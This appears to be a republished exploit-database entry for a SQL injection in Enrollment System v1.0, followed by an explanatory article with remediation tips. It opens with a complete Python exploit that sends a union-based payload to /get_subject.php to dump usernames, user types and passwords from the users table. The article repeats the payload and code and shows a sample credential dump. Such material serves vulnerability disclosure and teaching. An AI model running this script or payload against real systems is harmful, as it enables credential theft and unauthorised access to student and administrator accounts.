Enrollment System v1.0 - SQL Injection

Exploit Author: Gnanaraj Mauviel Analysis Author: www.bubbleslearn.ir Category: Remote Language: Python Published Date: 2024-03-03
# Exploit Title: Enrollment System v1.0 - SQL Injection
# Date: 27 December 2023
# Exploit Author: Gnanaraj Mauviel (@0xm3m)
# Vendor: Obi08
# Vendor Homepage: https://github.com/Obi08/Enrollment_System
# Software Link: https://github.com/Obi08/Enrollment_System
# Version: v1.0
# Tested on: Mac OSX, XAMPP, Apache, MySQL

-------------------------------------------------------------------------------------------------------------------------------------------

from bs4 import BeautifulSoup
import requests
import urllib3

#The Config class defines three class attributes: BASE_URL, URI, and PAYLOAD.

#BASE_URL is set to the string "http://localhost/enrollment_system".
#URI is set to the string "/get_subject.php".
#PAYLOAD is set to the string "emc' union select 1,concat(user_type,'::',username,'::',password),3,4,5,6 from users-- -".

class Config:
    BASE_URL = "http://localhost/enrollment_system"
    URI = '/get_subject.php'
    PAYLOAD = "emc' union select 1,concat(user_type,'::',username,'::',password),3,4,5,6 from users-- -"

urllib3.disable_warnings()
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

#This code defines a function called exploit_sqli that exploits a SQL injection vulnerability in a given URL. It takes in a requests.Session object and a Config object as parameters. The function constructs a URL using the BASE_URL and URI properties from the Config object, and creates a dictionary of parameters with a key of 'keyword' and a value of the PAYLOAD property from the Config object.
#The function then tries to make a request using the make_request function and returns the response text if successful. If an exception is raised during the request, it prints an error message and returns an empty string.

def exploit_sqli(session: requests.Session, config: Config) -> str:
    """
    Exploits SQL injection vulnerability in the given URL.

    Args:
        session (requests.Session): The session object to use for making the request.
        config (Config): Configuration object containing base URL, URI, and payload.

    Returns:
        str: The response text from the request.
    """
    url = f"{config.BASE_URL}{config.URI}"
    params = {'keyword': config.PAYLOAD}
    
    try:
        response = make_request(session, url, params)
        return response.text
    except requests.RequestException as e:
        print(f"Request failed: {e}")
        return ""
    
#This code defines a function called make_request that takes in a requests.Session object, a URL string, and a dictionary of parameters. It makes a POST request using the provided session and parameters, and returns the response object. The function has type hints indicating the types of the arguments and the return value.    

def make_request(session: requests.Session, url: str, params: dict) -> requests.Response:
    """
    Make a POST request with error handling.

    Args:
        session (requests.Session): The session object to use for making the request.
        url (str): The URL to send the request to.
        params (dict): The parameters to include in the request.

    Returns:
        requests.Response: The response object.
    """
    return session.post(url, data=params, verify=False, proxies=proxies)

#This code snippet defines a function called parse_html that takes a string parameter response_text. It uses the BeautifulSoup library to parse the HTML in response_text and extract specific data from it. It finds all <tr> elements in the HTML, skips the header row, and then iterates over the remaining rows. For each row, it finds all <td> elements and extracts the text content from the second and third column. Finally, it prints a formatted string that includes the extracted data.

def parse_html(response_text: str):
    soup = BeautifulSoup(response_text, 'html.parser')
    rows = soup.find_all('tr')[1:]  # Skip the header row

    for row in rows:
        columns = row.find_all('td')
        if columns:
            subject_code = columns[1].text.strip()
            subject_description = columns[2].text.strip()
            print(f"User_Type::Username::Password == {subject_code}")

if __name__ == "__main__":
    # file deepcode ignore MissingClose: <please specify a reason of ignoring this>
    session = requests.Session()
    response = exploit_sqli(session, Config)
    
    if response:
        parse_html(response)


Exploiting SQL Injection in Enrollment System v1.0: A Deep Dive into a Real-World Vulnerability

SQL injection remains one of the most prevalent and dangerous web application vulnerabilities, capable of undermining data integrity, exposing sensitive information, and enabling full system compromise. In December 2023, a security researcher identified a critical SQL injection flaw in Enrollment System v1.0, a simple yet widely used educational management platform developed by Obi08. This article examines the exploit in detail, analyzing the underlying vulnerability, the attack methodology, and the broader implications for developers and security professionals.

Understanding the Vulnerability: A Case Study

The vulnerability was discovered in the /get_subject.php endpoint, which processes user input via a keyword parameter. This endpoint is designed to retrieve subject data based on a search term, but it fails to sanitize input properly, allowing attackers to inject malicious SQL code.


class Config:
    BASE_URL = "http://localhost/enrollment_system"
    URI = '/get_subject.php'
    PAYLOAD = "emc' union select 1,concat(user_type,'::',username,'::',password),3,4,5,6 from users-- -"

This code defines a configuration object with the target URL and a crafted SQL payload. The PAYLOAD string is a classic union-based SQL injection attack. It exploits the fact that the application likely uses a query like:


SELECT * FROM subjects WHERE name LIKE '%keyword%'

When the attacker submits emc' union select ..., the query becomes:


SELECT * FROM subjects WHERE name LIKE '%emc' union select 1,concat(user_type,'::',username,'::',password),3,4,5,6 from users-- -%'

The -- - at the end acts as a comment delimiter, effectively nullifying any remaining SQL syntax after the injection. The union select clause allows the attacker to retrieve data from the users table, which contains sensitive information such as user_type, username, and password.

Attack Execution: Step-by-Step Analysis

The exploit script leverages Python’s requests library to automate the attack. The following function demonstrates how the injection is executed:


def exploit_sqli(session: requests.Session, config: Config) -> str:
    url = f"{config.BASE_URL}{config.URI}"
    params = {'keyword': config.PAYLOAD}
    
    try:
        response = make_request(session, url, params)
        return response.text
    except requests.RequestException as e:
        print(f"Request failed: {e}")
        return ""

This function constructs the target URL and sends a POST request with the malicious keyword parameter. The make_request function handles the actual HTTP communication:


def make_request(session: requests.Session, url: str, params: dict) -> requests.Response:
    return session.post(url, data=params, proxies={'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'})

Here, the proxies are set to 127.0.0.1:8080, likely pointing to a local proxy like Burp Suite, allowing attackers to monitor and analyze the traffic. The urllib3.disable_warnings() line suppresses SSL warnings, which is common in testing environments.

Why This Exploit Works: The Root Cause

At the core of this vulnerability lies improper input validation. The application does not use prepared statements or parameterized queries, leaving it susceptible to injection. This is a fundamental flaw in web development best practices.

Key contributing factors include:

  • Dynamic Query Construction: The application builds SQL queries by concatenating user input directly into the query string.
  • Missing Sanitization: No filtering or escaping of special characters like ', ;, or union is applied.
  • Use of Comment Syntax: The attacker leverages -- - to bypass SQL syntax errors and complete the injection.

Such vulnerabilities are often found in educational or open-source projects where security is overlooked in favor of rapid development.

Real-World Impact and Risks

Exploiting this flaw can lead to:

  • Full Database Exposure: The attacker can extract all user credentials, including admin passwords.
  • Privilege Escalation: If the user_type includes roles like admin, the attacker can gain elevated access.
  • Further Exploitation: Once credentials are obtained, attackers can perform actions like modifying student records, deleting data, or even launching further attacks.

For instance, a response from the exploit might reveal:


1::admin::password123::3::4::5::6

This output clearly demonstrates that the admin user with password password123 exists in the database—information that could be used to gain unauthorized access.

Best Practices and Remediation

To prevent such vulnerabilities, developers should follow these security principles:

Best Practice Implementation
Use Prepared Statements Replace dynamic queries with parameterized SQL, e.g., SELECT * FROM subjects WHERE name LIKE ?.
Input Validation Sanitize input using regex or allow-lists; reject any characters that could be used in SQL injection.
Use Web Application Firewalls (WAF) Deploy WAFs like ModSecurity to detect and block SQL injection attempts.
Regular Security Testing Perform automated scans using tools like SQLMap or manual penetration testing.

Additionally, developers should avoid exposing sensitive data in responses. Even if injection is possible, the application should never return user passwords or internal IDs directly.

Conclusion: A Lesson in Security by Design

The Enrollment System v1.0 SQL injection vulnerability serves as a stark reminder that security cannot be an afterthought. Even simple systems can become high-risk targets if basic safeguards are ignored. By understanding how this exploit works, developers can learn to implement secure coding practices from the outset.

As cybersecurity professionals, we must advocate for security-first development—ensuring that every input is validated, every query is parameterized, and every response is carefully controlled. Only then can we build systems that truly protect users and data.